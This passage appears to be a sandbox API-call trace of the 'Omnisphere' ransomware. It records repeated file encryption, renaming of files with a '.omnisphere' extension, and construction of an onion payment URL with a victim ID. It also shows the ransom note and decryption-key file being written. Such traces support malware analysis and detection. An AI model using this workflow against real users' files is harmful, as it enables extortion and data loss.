pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.020] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.021] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.022] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.023] CryptDestroyKey (hKey=0x1639568) returned 1 [0128.023] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0128.023] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.023] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.024] GetProcessHeap () returned 0x1600000 [0128.024] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x16fbdf0 [0128.024] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\6d2bac8f1edf6668.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\6d2bac8f1edf6668.automaticdestinations-ms.omnisphere")) returned 1 [0128.025] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms.omnisphere.id" [0128.025] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\6d2bac8f1edf6668.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.025] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.026] CloseHandle (hObject=0x388) returned 1 [0128.026] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.027] CloseHandle (hObject=0x3c0) returned 1 [0128.027] SetEndOfFile (hFile=0x288) returned 1 [0128.027] FlushFileBuffers (hFile=0x288) returned 1 [0128.038] CloseHandle (hObject=0x288) returned 1 [0128.038] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6d2bac8f1edf6668.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.038] GetProcessHeap () returned 0x1600000 [0128.038] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fc108 [0128.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.038] GetProcessHeap () returned 0x1600000 [0128.038] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1fc8 [0128.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1fc8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.039] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.039] GetProcessHeap () returned 0x1600000 [0128.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710620 [0128.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710620, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.039] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.039] GetProcessHeap () returned 0x1600000 [0128.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb9d8 [0128.039] PathCombineW (in: pszDest=0x16fb9d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.039] GetProcessHeap () returned 0x1600000 [0128.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17045d8 [0128.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.039] WriteFile (in: hFile=0x288, lpBuffer=0x17045d8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x17045d8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.039] CloseHandle (hObject=0x288) returned 1 [0128.040] GetProcessHeap () returned 0x1600000 [0128.040] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fc108 | out: hHeap=0x1600000) returned 1 [0128.040] GetProcessHeap () returned 0x1600000 [0128.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.040] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.040] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.040] CloseHandle (hObject=0x288) returned 1 [0128.040] GetProcessHeap () returned 0x1600000 [0128.040] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.040] GetProcessHeap () returned 0x1600000 [0128.040] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.040] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66669e90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66669e90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66669e90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, 